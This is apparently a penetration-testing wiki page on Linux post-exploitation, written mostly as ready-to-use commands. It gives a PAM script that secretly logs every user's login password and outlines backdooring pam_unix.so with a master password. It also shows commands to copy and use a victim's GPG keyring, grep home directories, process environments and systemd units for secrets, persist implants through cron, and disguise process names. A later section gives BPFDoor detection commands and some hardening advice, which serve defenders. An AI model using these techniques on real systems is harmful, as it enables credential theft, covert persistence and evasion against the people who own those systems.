Linux Post-Exploitation
{{#include ../../banners/hacktricks-training.md}}
Sniffing Logon Passwords with PAM
Let's configure a PAM module to log each password each user uses to login. If you don't know what is PAM check:
{{#ref}}
pam-pluggable-authentication-modules.md
{{#endref}}
For further details check the original post. This is just a summary:
Technique Overview:
Pluggable Authentication Modules (PAM) offer flexibility in managing authentication on Unix-based systems. They can enhance security by customizing login processes but also pose risks if misused. This summary outlines a technique to capture login credentials using PAM, alongside mitigation strategies.
Capturing Credentials:
- A bash script named
toomanysecrets.shis crafted to log login attempts, capturing the date, username ($PAM_USER), password (via stdin), and remote host IP ($PAM_RHOST) to/var/log/toomanysecrets.log. - The script is made executable and integrated into the PAM configuration (
common-auth) using thepam_exec.somodule with options to run quietly and expose the authentication token to the script. - The approach demonstrates how a compromised Linux host can be exploited to log credentials discreetly.
#!/bin/sh
echo " $(date) $PAM_USER, $(cat -), From: $PAM_RHOST" >> /var/log/toomanysecrets.log
sudo touch /var/log/toomanysecrets.sh
sudo chmod 770 /var/log/toomanysecrets.sh
sudo nano /etc/pam.d/common-auth
# Add: auth optional pam_exec.so quiet expose_authtok /usr/local/bin/toomanysecrets.sh
sudo chmod 700 /usr/local/bin/toomanysecrets.sh
Backdooring PAM
For further details check the original post. This is just a summary:
The Pluggable Authentication Module (PAM) is a system used under Linux for user authentication. It operates on three main concepts: username, password, and service. Configuration files for each service are located in the /etc/pam.d/ directory, where shared libraries handle authentication.
Objective: Modify PAM to allow authentication with a specific password, bypassing the actual user password. This is particularly focused on the pam_unix.so shared library used by the common-auth file, which is included by almost all services for password verification.
Steps for Modifying pam_unix.so:
- Locate the Authentication Directive in the
common-authfile: - The line responsible for checking a user's password calls
pam_unix.so. - Modify Source Code:
- Add a conditional statement in the
pam_unix_auth.csource file that grants access if a predefined password is used, otherwise, it proceeds with the usual authentication process. - Recompile and Replace the modified
pam_unix.solibrary in the appropriate directory. - Testing:
- Access is granted across various services (login, ssh, sudo, su, screensaver) with the predefined password, while normal authentication processes remain unaffected.
Decrypting GPG loot via homedir relocation
If you find an encrypted .gpg file and a userβs ~/.gnupg folder (pubring, private-keys, trustdb) but you canβt decrypt due to GnuPG homedir permissions/locks, copy the keyring to a writable location and use it as your GPG home.
Typical errors youβll see without this: "unsafe ownership on homedir", "failed to create temporary file", or "decryption failed: No secret key" (because GPG canβt read/write the original homedir).
Workflow:
# 1) Stage a writable homedir and copy the victim's keyring
mkdir -p /dev/shm/fakehome/.gnupg
cp -r /home/victim/.gnupg/* /dev/shm/fakehome/.gnupg/
# 2) Ensure ownership & perms are sane for gnupg
chown -R $(id -u):$(id -g) /dev/shm/fakehome/.gnupg
chmod 700 /dev/shm/fakehome/.gnupg
# 3) Decrypt using the relocated homedir (either flag works)
GNUPGHOME=/dev/shm/fakehome/.gnupg gpg -d /home/victim/backup/secrets.gpg
# or
gpg --homedir /dev/shm/fakehome/.gnupg -d /home/victim/backup/secrets.gpg
If the secret key material is present in private-keys-v1.d, GPG will unlock and decrypt without prompting for a passphrase (or it will prompt if the key is protected).
High-value user credential artifacts in HOME
Besides shell history and SSH keys, these user files frequently expose reusable credentials and tokens:
~/.git-credentials,~/.netrc,~/.npmrc,~/.pypirc~/.aws/credentials,~/.kube/config,~/.docker/config.json,~/.config/containers/auth.json- Desktop keyrings:
~/.local/share/keyrings/,~/.kde/share/apps/kwallet/ - DB/CLI history files:
~/.mysql_history,~/.psql_history,~/.sqlite_history
Quick triage:
ls -la ~ | grep -iE 'history|credential|token|key|secret'
ls -la ~/.ssh ~/.gnupg ~/.aws ~/.kube ~/.docker ~/.config 2>/dev/null
grep -RInE "password|token|secret|api_key|aws_access_key_id|aws_secret_access_key" \
~/.git-credentials ~/.netrc ~/.npmrc ~/.pypirc ~/.aws ~/.kube ~/.docker ~/.config 2>/dev/null
Harvesting credentials from process environment (containers included)
When you gain code execution inside a service, the process often inherits sensitive environment variables. These are a gold mine for lateral movement.
Quick wins
- Dump your current process env: env or printenv
- Dump another process env: tr '\0' '\n' </proc/<PID>/environ | sed -n '1,200p'
- Add strings -z /proc/<PID>/environ if tr/sed arenβt handy
- In containers, also check PID 1: tr '\0' '\n' </proc/1/environ
What to look for
- App secrets and admin creds (for example, Grafana sets GF_SECURITY_ADMIN_USER, GF_SECURITY_ADMIN_PASSWORD)
- API keys, DB URIs, SMTP creds, OAuth secrets
- Proxy and TLS overrides: http_proxy, https_proxy, SSL_CERT_FILE, SSL_CERT_DIR
Notes
- Many orchestrations pass sensitive settings via env; they are inherited by children and exposed to any arbitrary shell you spawn inside the process context.
- In some cases, those creds are reused system-wide (e.g., same username/password valid for SSH on the host), enabling an easy pivot.
Systemd-stored credentials in unit files (Environment=)
Services launched by systemd may bake credentials into unit files as Environment= entries. Enumerate and extract them:
# Unit files and drop-ins
ls -la /etc/systemd/system /lib/systemd/system
# Grep common patterns
sudo grep -R "^Environment=.*" /etc/systemd/system /lib/systemd/system 2>/dev/null | sed 's/\x00/\n/g'
# Example of a root-run web panel
# [Service]
# Environment="BASIC_AUTH_USER=root"
# Environment="BASIC_AUTH_PWD=<password>"
# ExecStart=/usr/bin/crontab-ui
# User=root
Operational artifacts often leak passwords (e.g., backup scripts that call zip -P <pwd>). Those values are frequently reused in internal web UIs (Basic-Auth) or other services.
Hardening
- Move secrets to dedicated secret stores (systemd-ask-password, EnvironmentFile with locked perms, or external secret managers)
- Avoid embedding creds in unit files; prefer root-only readable drop-in files and remove them from version control
- Rotate leaked passwords discovered during tests
Cron-based persistence with loopback mutex
- Copy implants into multiple writable paths (
/tmp,/var/tmp,/dev/shm,/run/lock) and install cron entries such as*/5 * * * * /tmp/<bin>so they respawn even if removed elsewhere. - Enforce single-instance execution by binding a fixed loopback port (for example,
127.0.0.1:51125or127.0.0.1:52225) and exiting ifbind()fails;ss -lntp | grep -E '51125|52225'will reveal the mutex listener. - Operators may periodically mass-kill any process whose
cmdlinecontains the dropper name (e.g.,init_stop), so reusing those names during analysis can collide; pick unique filenames.
Process masquerading via prctl + argv overwrite
- Set the short process name with
prctl(PR_SET_NAME, "<label>")(15-bytecommlimit), commonly toinit, so/proc/<pid>/statusand GUIs show a benign label. - Overwrite the in-memory
argv[0]buffer after reading/proc/self/cmdlinelength and theargv[0]pointer, padding with NULs so/proc/<pid>/cmdlineandpsalso show the fake label. - Hunt by comparing
Name:in/proc/<pid>/statusagainst the real executable path and looking for loopback mutex listeners owned by processes with tiny/blank cmdlines.
Kernel-resident passive backdoors via BPF (BPFDoor-style)
Some Linux backdoors avoid exposing any listening port by attaching a malicious BPF socket filter to a raw or packet socket. The implant stays passive, inspects inbound traffic in the kernel path, and only spawns a bind/reverse shell when a controller sends the correct trigger. This means netstat, ss, and nmap can look normal until activation.
Common tradecraft patterns:
- Split implant/controller model: the implant only filters traffic and executes the next stage; a separate controller crafts the activation packet and drives the shell.
- HTTPS-hidden trigger delivery: newer variants can hide the activation bytes inside normal-looking HTTPS requests so the trigger survives reverse proxies, load balancers, and TLS termination paths.
- Fixed-offset "magic ruler" checks: instead of fully parsing HTTP, the controller pads data so a marker such as
9999lands at a predictable offset. Rapid7 observed26-byte rulers withSOCK_DGRAMand40-byte rulers withSOCK_RAW. - ICMP relay/control traffic: compromised hosts can forward commands inside crafted ICMP payloads. A sentinel such as
0xFFFFFFFFcan be used as a "final destination / do not forward" marker. - Protocol-aware filtering: filtering unusual transports such as SCTP moves the implant closer to telecom signaling traffic instead of normal enterprise TCP services.
- Masquerading: combine the trapdoor with the
prctl/argv[0]process renaming tricks from the previous section and with daemon-looking PID or lock files.
Practical hunt from a live host:
# Raw/packet sockets and attached filters
ss -0pb | egrep -i 'packet|raw'
cat /proc/net/packet
# Map suspicious PIDs to their real executable and cmdline
for p in /proc/[0-9]*; do
exe=$(readlink "$p/exe" 2>/dev/null)
cmd=$(tr '\0' ' ' < "$p/cmdline" 2>/dev/null)
[ -n "$exe" ] && printf "%s | %s | %s\n" "${p##*/}" "$exe" "$cmd"
done | egrep -i 'agetty|smartd|init|dockerd|hpas'
# Common environment markers and deleted/fileless execution
grep -aHE 'HOME=/tmp|HISTFILE=/dev/null' /proc/[0-9]*/environ 2>/dev/null
find /proc/[0-9]*/exe -lname '*deleted*' -ls 2>/dev/null
# Mutex / pid artifacts often used to prevent double execution
find /var/run /run -maxdepth 1 -type f \( -name '*.pid' -o -name '*.lock' \) \
-size 0c -printf '%m %p\n' 2>/dev/null
# Persistence paths worth checking after finding a suspicious PID
grep -RInE 'iptables|bpfd|dockerd|hpas|/dev/shm|/var/tmp|/tmp/' \
/etc/systemd /etc/init.d /etc/rc*.d /etc/cron* 2>/dev/null
If the host supports bpftool, also baseline legitimate BPF usage. Unexpected packet filters, raw sockets, or process names that do not match the backing executable are strong post-exploitation signals even when no listening port is visible.
References
- 0xdf β HTB Planning (Grafana env creds reuse, systemd BASIC_AUTH)
- alseambusher/crontab-ui
- 0xdf β HTB Environment (GPG homedir relocation to decrypt loot)
- GnuPG Manual β Home directory and GNUPGHOME
- Inside GoBruteforcer: AI-generated server defaults, weak passwords, and crypto-focused campaigns
- Rapid7 Labs - BPFdoor in Telecom Networks: Sleeper Cells in the Backbone
- Rapid7 Labs - Linux BPFDoor Detection Script
{{#include ../../banners/hacktricks-training.md}}